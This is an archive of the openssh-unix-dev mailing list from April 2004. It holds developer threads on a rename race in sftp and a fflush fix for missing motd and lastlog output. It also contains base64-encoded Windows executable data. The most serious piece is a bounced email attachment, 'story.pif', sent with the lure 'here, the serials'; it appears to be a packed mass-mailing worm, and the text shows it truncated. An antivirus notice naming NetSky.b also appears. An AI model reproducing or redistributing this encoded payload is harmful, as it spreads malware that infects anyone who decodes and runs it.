wMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AICAgP//////////////////////////////////////////////////////////////////
/////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/8DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP//////
/////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////////////////////////////8DAwAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP//////////////////////////
/////////////////////////////8DAwAAAAP8AAAAAAP//////////////////////////
//////////////////////8AAAAAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA
wP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP//////
/////wAAAP8AAP///////////////////////////////////////////////////////8DA
wAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP8AAMDAwP////////8AAAAAAMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAP//
//8AAAAAAP8AAP////8AAAAAAP8AAAAAAICAgP///////wAAAP8AAP//////////////////
/////////////////////////////////////8DAwAAAAP8AAAAAAP///wAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP////////8AAAAAAMDAwMDAwP///////8DAwMDAwMDAwMDAwMDA
wMDAwMDAwP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAMDAwP///wAAAP8AAP///////////////8DAwMDAwMDAwP///8DAwMDAwMDAwP//////
/////8DAwAAAAP8AAAAAAP///wAAAP8AAP////8AAAAAAP8AAP////8AAAAAAICAgP////8A
AAAAAMDAwMDAwP///////8DAwMDAwP///////////////8DAwP///////////8DAwAAAAAAA
AP8AAAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAP//////////
/////8DAwMDAwMDAwP///////8DAwMDAwP///////////8DAwAAAAP8AAAAAAP8AAAAAAP8A
AP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwP///////8DAwP//////
/////////////8DAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////8DAwMDAwP///////4CAgAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP8AAAAAAP//////////////////////////////////////////
//////8AAAAAAP///////////////8DAwMDAwMDAwMDAwICAgP///////////8DAwICAgAAA
AAAAAAAAAP8AAP///////////////////////////////////////////////wAAAP8AAP//
/////////////8DAwMDAwMDAwMDAwICAgP///////8DAwICAgAAAAAAAAAAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP//////////////////
/////////////4CAgP///8DAwICAgAAAAAAAAAAAAAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////////////////////4CA
gMDAwICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/////////////////////////////////////////////////////4CAgICAgAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////4CAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////+AAAA/gAAAP4AAAD+AAAA/gAAAP4A
AAD+AAAA/gAAAP4AAAD+AAAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAABwAAAA/+AAAf/gAAP/4AAH//////SH0BAAAA
AQABACAgAAABABgAqAwAAAEAAAAAAAAAAAAAAAAAKK4BAPCtAQAAAAAAAAAAAAAAAAA1rgEA
AK4BAAAAAAAAAAAAAAAAAEKuAQAIrgEAAAAAAAAAAAAAAAAAT64BABCuAQAAAAAAAAAAAAAA
AABargEAGK4BAAAAAAAAAAAAAAAAAGauAQAgrgEAAAAAAAAAAAAAAAAAAAAAAAAAAABwrgEA
fq4BAI6uAQAAAAAAnK4BAAAAAACqrgEAAAAAALyuAQAAAAAAyK4BAAAAAAADAACAAAAAAEtF
Uk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJpbnRmQQAAAElu
dGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

--57264314--



From BRmultiaccess at maua.sp.gov.br  Tue Apr  6 22:17:50 2004
From: BRmultiaccess at maua.sp.gov.br (BRmultiaccess at maua.sp.gov.br)
Date: Tue, 6 Apr 2004 09:17:50 -0300
Subject: =?iso-8859-1?q?=28BRMA=29_Mensagem_n=E3o_autorizada?=
Message-ID: <200404061217.i36CHo631691@maua.sp.gov.br>


Mensagem n?o autorizada
----------------------------------------
Virus Encontrado no email de entrada  

/var/spool/brma_tratar/dfi36CHiX31578/object.zip/object.scr infected: I-Worm.NetSky.b

----------------------------------------
Para:  educacao at maua.sp.gov.br
Assunto:  warning



From dan at D00M.integrate.com.ru  Tue Apr  6 23:16:54 2004
From: dan at D00M.integrate.com.ru (Dan Yefimov)
Date: Tue, 6 Apr 2004 17:16:54 +0400 (MSD)
Subject: link(2) to rename files in sftp
In-Reply-To: <40720F59.7020709@zip.com.au>
Message-ID: <Pine.LNX.4.44.0404061649020.13378-100000@D00M.integrate.com.ru>

On Tue, 6 Apr 2004, Darren Tucker wrote:

> Carson Gaspar wrote:
> 
> > --On Tuesday, April 06, 2004 09:24:31 +1000 Darren Tucker 
> > 
> >> According to the CVS log, the link shuffle is used to "fix races in
> >> rename/symlink" (revs 1.46 and 1.44).
> > 
> > If rename() has a race condition, the OS is broken. Plain and simple.
> 
> The original code for rename looked like the following:
>      if (stat(newpath, &st) == -1) {
>          ret = rename(oldpath, newpath);
>          status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
>      }
> 
> The idea is obviously to not clobber existing files, but the 
> implementation is racy (hence the change, I guess).
> 
> I have no idea how to implement that portably for filesystems without 
> Unix semantics without the race.
> 
May be the following code could be used:

	if ((ret = open(newpath, O_WRONLY|O_CREAT|O_EXCL, S_IRUSR)) != -1) {
		close(ret);
		ret = rename(oldpath, newpath);
		status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
	}

Of course, someone could modify temporary file mode and write something into it 
between calls to open() and rename() are made, but does somebody really care 
about that case?
-- 

    Sincerely Your, Dan.



From mouring at etoh.eviladmin.org  Tue Apr  6 23:34:40 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 6 Apr 2004 08:34:40 -0500 (CDT)
Subject: link(2) to rename files in sftp
In-Reply-To: <Pine.LNX.4.44.0404061649020.13378-100000@D00M.integrate.com.ru>
Message-ID: <Pine.BSO.4.44.0404060833090.5163-100000@etoh.eviladmin.org>


In a single word.. "yes".  Your code is no better than stat()+rename().
Someone can STILL replace the file from under you.  Which is what the race
condition we are trying to avoid.

- Ben

On Tue, 6 Apr 2004, Dan Yefimov wrote:

> On Tue, 6 Apr 2004, Darren Tucker wrote:
>
> > Carson Gaspar wrote:
> >
> > > --On Tuesday, April 06, 2004 09:24:31 +1000 Darren Tucker
> > >
> > >> According to the CVS log, the link shuffle is used to "fix races in
> > >> rename/symlink" (revs 1.46 and 1.44).
> > >
> > > If rename() has a race condition, the OS is broken. Plain and simple.
> >
> > The original code for rename looked like the following:
> >      if (stat(newpath, &st) == -1) {
> >          ret = rename(oldpath, newpath);
> >          status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
> >      }
> >
> > The idea is obviously to not clobber existing files, but the
> > implementation is racy (hence the change, I guess).
> >
> > I have no idea how to implement that portably for filesystems without
> > Unix semantics without the race.
> >
> May be the following code could be used:
>
> 	if ((ret = open(newpath, O_WRONLY|O_CREAT|O_EXCL, S_IRUSR)) != -1) {
> 		close(ret);
> 		ret = rename(oldpath, newpath);
> 		status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
> 	}
>
> Of course, someone could modify temporary file mode and write something into it
> between calls to open() and rename() are made, but does somebody really care
> about that case?
> --
>
>     Sincerely Your, Dan.
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From markus at openbsd.org  Tue Apr  6 23:57:06 2004
From: markus at openbsd.org (Markus Friedl)
Date: Tue, 6 Apr 2004 15:57:06 +0200
Subject: link(2) to rename files in sftp
In-Reply-To: <Pine.LNX.4.44.0404061649020.13378-100000@D00M.integrate.com.ru>
References: <40720F59.7020709@zip.com.au>
	<Pine.LNX.4.44.0404061649020.13378-100000@D00M.integrate.com.ru>
Message-ID: <20040406135706.GA20824@folly>

On Tue, Apr 06, 2004 at 05:16:54PM +0400, Dan Yefimov wrote:
> May be the following code could be used:
> 
> 	if ((ret = open(newpath, O_WRONLY|O_CREAT|O_EXCL, S_IRUSR)) != -1) {
> 		close(ret);
> 		ret = rename(oldpath, newpath);
> 		status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
> 	}
> 
> Of course, someone could modify temporary file mode and write something into it 
> between calls to open() and rename() are made, but does somebody really care 
> about that case?

this contains the same race as the original code.



From f_mohr at yahoo.de  Wed Apr  7 06:36:53 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Tue, 06 Apr 2004 22:36:53 +0200
Subject: No motd, lastlog, stored pam messages displayed
Message-ID: <407314E5.6C85C9AB@yahoo.de>

Hi

while testing a new pam module i found this problem:
System: Linux 2.4.18/OpenSSH 3.8p1 client/server

The output from do_login() in session.c (motd, lastlog, stored pam
messages) isn't displayed when Privilege Separation is enabled.

I added a fflush(stdout) as the last line of do_login(), now it works.

Frank



From dtucker at zip.com.au  Wed Apr  7 08:07:23 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 07 Apr 2004 08:07:23 +1000
Subject: No motd, lastlog, stored pam messages displayed
In-Reply-To: <407314E5.6C85C9AB@yahoo.de>
References: <407314E5.6C85C9AB@yahoo.de>
Message-ID: <40732A1B.4000404@zip.com.au>

Frank Mohr wrote:
> while testing a new pam module i found this problem:
> System: Linux 2.4.18/OpenSSH 3.8p1 client/server
> 
> The output from do_login() in session.c (motd, lastlog, stored pam
> messages) isn't displayed when Privilege Separation is enabled.
> 
> I added a fflush(stdout) as the last line of do_login(), now it works.

Isn't stdout supposed to be line buffered if it points to a tty? 
Anyway, the flush shouldn't hurt, so I've added it to the main code. Thanks!

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From carson at taltos.org  Wed Apr  7 09:49:18 2004
From: carson at taltos.org (Carson Gaspar)
Date: Tue, 06 Apr 2004 19:49:18 -0400
Subject: link(2) to rename files in sftp
In-Reply-To: <40720F59.7020709@zip.com.au>
References: <20040405205043.GA26258@conectiva.com.br>
	<4071EAAF.4000302@zip.com.au>
	<350320000.1081215905@taltos.ny.ficc.gs.com>
	<40720F59.7020709@zip.com.au>
Message-ID: <459440000.1081295358@taltos.ny.ficc.gs.com>



--On Tuesday, April 06, 2004 12:00:57 +1000 Darren Tucker 
<dtucker at zip.com.au> wrote:

> The original code for rename looked like the following:
>      if (stat(newpath, &st) == -1) {
>          ret = rename(oldpath, newpath);
>          status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
>      }
>
> The idea is obviously to not clobber existing files, but the
> implementation is racy (hence the change, I guess).
>
> I have no idea how to implement that portably for filesystems without
> Unix semantics without the race.

Well, if they are reasonably sane, you can do:

if (fd = open(newpath, O_CREAT|O_EXCL, 0)) {
	ret = rename(oldpath, newpath);
	close(fd);
	...
}

Unless I'm missing something...

-- 
Carson



From carson at taltos.org  Wed Apr  7 10:30:20 2004
From: carson at taltos.org (Carson Gaspar)
Date: Tue, 06 Apr 2004 20:30:20 -0400
Subject: link(2) to rename files in sftp
In-Reply-To: <Pine.BSO.4.44.0404060833090.5163-100000@etoh.eviladmin.org>
References: <Pine.BSO.4.44.0404060833090.5163-100000@etoh.eviladmin.org>
Message-ID: <491460000.1081297820@taltos.ny.ficc.gs.com>



--On Tuesday, April 06, 2004 08:34:40 -0500 Ben Lindstrom 
<mouring at etoh.eviladmin.org> wrote:

>
> In a single word.. "yes".  Your code is no better than stat()+rename().
> Someone can STILL replace the file from under you.  Which is what the race
> condition we are trying to avoid.

It is _marginally_ better, especially if the file is created mode 000. It 
is still possible to lose the race, but it's far less likely than just 
doing a stat().

But I agree that requiring the rename to not clobber is probably impossible 
to do with no race, so the spec should be changed if that's a requirement.

-- 
Carson



From dtucker at zip.com.au  Wed Apr  7 10:34:06 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 07 Apr 2004 10:34:06 +1000
Subject: link(2) to rename files in sftp
In-Reply-To: <459440000.1081295358@taltos.ny.ficc.gs.com>
References: <20040405205043.GA26258@conectiva.com.br>	<4071EAAF.4000302@zip.com.au>	<350320000.1081215905@taltos.ny.ficc.gs.com>	<40720F59.7020709@zip.com.au>
	<459440000.1081295358@taltos.ny.ficc.gs.com>
Message-ID: <40734C7E.5020701@zip.com.au>

Carson Gaspar wrote:
> --On Tuesday, April 06, 2004 12:00:57 +1000 Darren Tucker wrote:
[about non-racy renames without clobbering existing files]
>> I have no idea how to implement that portably for filesystems without
>> Unix semantics without the race.
> 
> Well, if they are reasonably sane, you can do:
> 
> if (fd = open(newpath, O_CREAT|O_EXCL, 0)) {
>     ret = rename(oldpath, newpath);
>     close(fd);

> Unless I'm missing something...

For one thing, the Linux (RH9) open(2) man page says that 
O_CREATE|O_EXCL is racy on NFS filesystems.  Probably other platforms too.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From MAILER-DAEMON at destro.sparkart.net  Wed Apr  7 22:06:51 2004
From: MAILER-DAEMON at destro.sparkart.net (MAILER-DAEMON at destro.sparkart.net)
Date: 7 Apr 2004 05:06:51 -0700
Subject: failure notice
Message-ID: <20040407120634.0738B27C188@shitei.mindrot.org>

Hi. This is the qmail-send program at destro.sparkart.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<security at linkinpark.com>:
Sorry, no mailbox here by that name. vpopmail (#5.1.1)

--- Below this line is a copy of the message.

Return-Path: <openssh-unix-dev at mindrot.org>
Received: (qmail 4731 invoked from network); 7 Apr 2004 05:06:49 -0700
Received: from unknown (HELO linkinpark.com) (195.205.206.254)
  by destro.sparkart.net with SMTP; 7 Apr 2004 05:06:49 -0700
From: openssh-unix-dev at mindrot.org
To: security at linkinpark.com
Subject: something for you
Date: Wed, 7 Apr 2004 14:06:49 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="41346288"

--41346288
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

here, the serials

--41346288
Content-Type: application/octet-stream; name="story.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="story.pif"

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
